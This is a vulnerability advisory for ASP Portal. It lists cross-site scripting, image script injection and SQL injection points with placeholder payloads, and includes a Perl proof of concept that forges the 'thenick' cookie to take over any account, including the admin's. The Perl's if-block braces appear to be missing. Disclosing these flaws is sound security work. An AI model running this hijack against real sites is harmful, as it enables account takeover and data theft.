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Title: ASP Portal Multiple Vulnerabilities

By: Manuel López

Software: Asp Portal

Vendor Description:
ASP Portal is a an ASP powered portal site which uses an Access database to
store all the site info. The

script also includes and easy to use Admin Interface, so you can change
everything you need to online,

which makes maintaing the site very easy.

Severity:
Moderately critical

Impact:
Disclosure of authentication information, Disclosure of user information,
Execution of arbitrary code via

network, Modification of user information, ID Spoofing.

Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Description:

---- Cross-Site Scripting ----

This product is vulnerable to the Cross-Site Scripting vulnerability that
would allow attackers to inject

HTML and script codes into the pages and execute it on the client's browser.

http://localhost/index.asp?inc='>[XSS]
http://localhost/index.asp?inc=profile&searchtext='>[XSS]
http://localhost/index.asp?inc=forumread&article='>[XSS]

---- Image ScriptCode Injection ----

An attacker can inject arbitrary HTML or scriptcode instead of an Image in
"photograph URL" of user's

'details' page.
javascript:alert()

---- Sql Injection ----

Another problem of sanitation could lead an attacker to inject SQL code to
manipulate and disclose

various information from the database. The problem is in the fields 'pageid'
and 'downloadscat'.

http://localhost/index.asp?inc=blog&pageid='[SqlQuery]
http://localhost/index.asp?inc=downloadssub&downloadscat='[SqlQuery]

Also it is possible an Sql Injection in the cookie, in 'thenick' field.

GET http://localhost/index.asp HTTP/1.1
Cookie: thenick='[SqlQuery]

---- Cookie Account Hijack ----

It is possible to impersonate others by manipulating the 'thenick' parameter
in the cookie.
Modifying the cookie is possible to gain access to other account. This issue
can be exploited to gain an

administrative account with the service.

---- PROOF OF CONCEPT COOKIE ACCOUNT HIJACK ----

#!/usr/bin/perl -w
## PROOF OF CONCEPT COOKIE ACCOUNT HIJACK
## Example: Asp-POC.pl localhost portal/index.asp Admin respuesta.htm

use IO::Socket;
if (@ARGV < 4)
 
print "\n\n";
print " ____________________________________________________________ \n";
print "|                                                            |\n";
print "|   PROOF OF CONCEPT COOKIE ACCOUNT HIJACK                   |\n";
print "|   Usage:Asp-POC.pl [host] [directorio] [usuario] [fichero] |\n";
print "|                                                            |\n";
print "|   By: Manuel López #IST                                    |\n";
print "|____________________________________________________________|\n";
print "\n\n";
exit(1);
 

$host = $ARGV[0];
$directorio = $ARGV[1];
$usuario = $ARGV[2];
$fichero = $ARGV[3];

print "\n";
print "----- Conectando <----\n";
$socket = IO::Socket::INET->new(Proto => "tcp",
PeerAddr => "$host",PeerPort => "80") || die "$socket error $!";
print "====> Conectado\n";
print "====> Enviando Datos\n";
$socket->print(<<taqui) or die "write: $!";
GET http://$host/$directorio HTTP/1.1
Cookie: thenick=$usuario

taqui
print "====> OK\n";
print "====> Generando $fichero ...\n";
open( Result, ">$fichero");
print Result while <$socket>;
close Result;

------------------------------------------------

Solution:
Vendor contacted.
The vulnerabilities have reportedly been fixed in the new version.
Download the January patch:
http://www.aspportal.net/downloadsviewer.asp?theurl=38 or buy the new

version.

---- Credits ----

Manuel López ( mantra@gulo.org ) #IST
Special Thank´s: -- Aklis -- gulo.org

Kein, Skool, TheChakal, vientoS, |RDR|, NSR500, ^SaRgE^ .. and all the #IST
staff.

Excuse me for speaking English so badly.

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